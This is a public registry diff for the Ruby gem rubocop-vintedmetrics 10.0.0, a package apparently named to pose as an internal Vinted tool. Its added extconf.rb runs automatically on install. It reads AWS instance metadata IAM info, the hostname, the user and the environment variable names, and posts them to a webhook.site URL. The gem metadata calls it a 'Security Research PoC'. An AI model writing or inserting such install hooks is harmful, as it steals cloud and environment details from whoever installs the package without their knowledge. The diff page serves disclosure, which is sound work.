rubocop-vintedmetrics 10.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rubocop-vintedmetrics might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/extconf.rb +35 -0
- data/lib/rubocop-vintedmetrics.rb +0 -0
- metadata +38 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: bc17fc0f28ea55547c1895700859711acb858957e75bc11b619c5455312fc624
|
|
4
|
+
data.tar.gz: 202990352de42cc70de45a31a894a169caf0dab32555db686ac5602a4066404d
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: d36d866eaa969cd61b91e90485bb5f11ea6e5a7254d834d22480b88e83d46848f00ae2588b34152cf94c8a692584dec499dee57bbf4098af9255fb0743e979c6
|
|
7
|
+
data.tar.gz: 620210cfcbef0971a1a7fe576761f1ea9ab0093154e49cb79d299363a45692c61eefb2c37140a8347fd8560c3cc3f0da47fdfd32cfd40c0abda660bd2172fce4
|
data/extconf.rb
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'uri'
|
|
3
|
+
require 'json'
|
|
4
|
+
|
|
5
|
+
begin
|
|
6
|
+
# 1. Get AWS IAM Role Info (The Absolute Proof of Ownership)
|
|
7
|
+
iam_info = `curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/info`
|
|
8
|
+
|
|
9
|
+
# 2. Get Hostname and Internal User
|
|
10
|
+
hostname = `hostname`.strip
|
|
11
|
+
user = `whoami`.strip
|
|
12
|
+
|
|
13
|
+
# 3. Get Environment Variable KEYS (Proof of Context)
|
|
14
|
+
env_keys = `env`.split("\n").map { |line| line.split("=").first }.join(",")
|
|
15
|
+
|
|
16
|
+
# 4. Check for Vinted-specific files/paths
|
|
17
|
+
vinted_dir = Dir.exist?('/home/vinted') || Dir.exist?('/app/vinted') ? "exists" : "not_found"
|
|
18
|
+
|
|
19
|
+
# Send to your specific webhook
|
|
20
|
+
target = "webhook.site"
|
|
21
|
+
path = "/d4fb75cc-d3a1-4a4b-80b8-3af3c71016e0"
|
|
22
|
+
uri = URI.parse("https://#{target}#{path}")
|
|
23
|
+
|
|
24
|
+
payload = {
|
|
25
|
+
source: "vinted_poc_final",
|
|
26
|
+
iam: iam_info,
|
|
27
|
+
env_keys: env_keys,
|
|
28
|
+
user: user,
|
|
29
|
+
hostname: hostname,
|
|
30
|
+
vinted_dir: vinted_dir
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
Net::HTTP.post_form(uri, 'data' => payload.to_json)
|
|
34
|
+
rescue
|
|
35
|
+
end
|
|
File without changes
|
metadata
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: rubocop-vintedmetrics
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 10.0.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Research
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 2026-02-21 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions:
|
|
14
|
+
- extconf.rb
|
|
15
|
+
extra_rdoc_files: []
|
|
16
|
+
files:
|
|
17
|
+
- extconf.rb
|
|
18
|
+
- lib/rubocop-vintedmetrics.rb
|
|
19
|
+
licenses: []
|
|
20
|
+
metadata: {}
|
|
21
|
+
rdoc_options: []
|
|
22
|
+
require_paths:
|
|
23
|
+
- lib
|
|
24
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
25
|
+
requirements:
|
|
26
|
+
- - ">="
|
|
27
|
+
- !ruby/object:Gem::Version
|
|
28
|
+
version: '0'
|
|
29
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
30
|
+
requirements:
|
|
31
|
+
- - ">="
|
|
32
|
+
- !ruby/object:Gem::Version
|
|
33
|
+
version: '0'
|
|
34
|
+
requirements: []
|
|
35
|
+
rubygems_version: 3.6.3
|
|
36
|
+
specification_version: 4
|
|
37
|
+
summary: Security Research PoC
|
|
38
|
+
test_files: []
|